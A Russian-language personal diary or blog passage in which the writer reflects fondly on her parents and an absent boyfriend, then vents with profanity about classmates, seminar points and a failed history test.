Знаю одно, что дальше меня ждут не менее чудесные эмоции, события. И я постараюсь создать такую же жизнь в своей семье для мужа и наших будущих детей, какую создали для меня мои любимые родители.

Любите своих родителей и цените каждую минутку проведенную вместе. Этим я сейчас и занимаюсь. Наслаждаюсь каждой минутой.

И вместе с тем считаю каждую минутку до возвращения Сережи. Потому что ко всей моей прочей грусти, тоска по нему переполняет меня насквозь.

Суки ебаные, ненавижу своих одногруппниц!!! Твари. У нас опять проблема с семинарами, им похуй, что, возможно, кто-то отвечал меньше, либо вообще не отвечал, они просто РАЗБИРАЮТ ЭТИ ВОПРОСЫ НА СКОРОСТЬ, блять! Кто не успел-тот опоздал. У нас завтра уже 5 семинар по предмету, а я ещё ни разу не отвечала. Сижу реву. Никаких доп.баллов на зачёте, нихера. Сегодня ещё писали тест по истории Хакасии, а меня пару раз не было на этом предмете из-за болезни. Спросила у одногруппницы, она только отмахнулась от меня, попросила не мешать. Сама я написала 12 вопросов из 20, плюс 1,5 балла преподавательница поставила за один-единственный ответ на семинаре. Могла бы ещё получить баллы за посещения, но… Та одногруппница ответила правильно на 10 вопросов(ха-ха), но у неё было ещё 8 баллов за семинары. Эта девочка была отличницей в школе, и сейчас продолжает строить из себя такую же. Чтобы не сдавать этот предмет, нужно было набрать 16 баллов. И я, победитель, пойду сдавать зачёт по предмету, который ВООБЩЕ не знаю) спасибо 1Ж за это, ага